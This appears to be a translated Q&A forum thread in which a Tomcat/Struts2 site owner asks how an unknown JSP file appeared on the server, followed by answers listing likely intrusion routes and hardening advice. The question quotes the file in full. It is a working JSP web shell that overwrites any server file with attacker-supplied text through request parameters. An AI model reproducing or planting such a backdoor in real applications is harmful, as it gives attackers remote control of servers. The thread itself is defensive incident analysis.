Java 为什么会出现服务器上上载的未知文件?

Java 为什么会出现服务器上上载的未知文件?,java,security,jsp,web,Java,Security,Jsp,Web,我有一个由Tomcat7.0.42提供服务的Struts2Web应用程序。我最近发现了我没有上传的文件。这里我举一个例子 <%@ page language="java" pageEncoding="gbk"%> <jsp:directive.page import="java.io.File"/> <jsp:directive.page import="java.io.OutputStream"/> <jsp:directive.page import

我有一个由Tomcat7.0.42提供服务的Struts2Web应用程序。我最近发现了我没有上传的文件。这里我举一个例子

<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter("act");
if(method!=null&&method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">

01

这是一个小JSP,用于在我的服务器上编写文件。几天前,他们访问了shell,由于某种DDoS攻击,所有服务器都宕机了

我真的很想知道他们如何在我的服务器上写文件。我有一些表单可以与用户交互,但所有字段都是正则表达式限制的,我使用准备好的语句来访问我的数据库。如果您想看到问题“正在运行”,可以查看一下()


非常感谢您的帮助。谢谢

很明显,这是某个恶意用户/黑客上传的后门

该文件最终出现的原因可能有以下几个原因:

  • 黑客可以访问您的FTP/SSH(尝试更改用户)
  • 如果你有一些“公共上传文件”功能,让用户上传任何他们想要的东西可能会很容易受到攻击
  • 您的系统中有一些远程代码执行
  • SQL注入漏洞,他们可以从数据库中检索密码,以访问某种管理面板,该管理面板授予他们上载文件的权限,或者根据数据库和数据库用户权限,他们甚至可以使用查询写入文件
我的建议是:

  • 更新您的软件(框架、CMS、Web服务器、操作系统、API等)
  • 如果您有专有代码,请对其执行一些操作并搜索漏洞

祝你好运

此脚本可能允许将服务器上的任何文件(甚至可能是网络上的文件)替换为任意内容,但仅限于web服务器上的权限。即使权限是适当的,这个脚本仍然违反了深度防御的概念,因为它依赖于单一的安全层。
url
参数应该限制在特定的文件位置,并且不允许超出预期范围的值。这个脚本不是我的。有人把它上传到我的服务器上了。我想知道怎么做。谢谢请参阅,其中包含相同的代码示例。您的web服务器因某些漏洞而受损(仅从代码无法识别),并且此页面允许攻击者进行远程控制。对于检查并删除新文件的cron作业,您会怎么看?最好知道哪个是漏洞。有人能描述一个可能的漏洞列表吗?执行cron作业检查新文件可能不起作用,因为文件的“创建”或“修改”日期可以修改。最聪明的黑客会这样做,以防止你删除他们的后门。